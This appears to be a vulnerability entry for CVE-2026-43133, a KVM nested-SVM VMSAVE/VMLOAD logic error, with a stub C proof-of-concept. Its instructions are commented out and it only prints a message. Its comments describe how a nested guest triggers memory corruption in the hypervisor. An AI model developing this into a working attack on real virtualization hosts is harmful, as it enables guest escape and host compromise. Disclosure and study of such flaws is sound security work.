CVE-2026-43133 Linux Kernel nSVM VMSAVE/VMLOAD逻辑错误漏洞

/* * PoC Concept: Triggering the nSVM VMLOAD/VMSAVE emulation path. * This requires a nested virtualization setup where L1 does not intercept VMLOAD/VMSAVE. * The L2 guest executes the instruction to trigger the bug. */ #include <stdio.h> #include <stdlib.h> int main() { printf("Attempting to trigger CVE-2026-43133...\n"); // In a real nested environment, executing these instructions in L2 // without interception by L1 triggers the KVM emulation bug. // asm volatile("vmsave" : : "a" (vmcb_addr)); // asm volatile("vmload" : : "a" (vmcb_addr)); // The bug causes KVM to use vmcb02 instead of vmcb01, // leading to memory corruption. return 0; }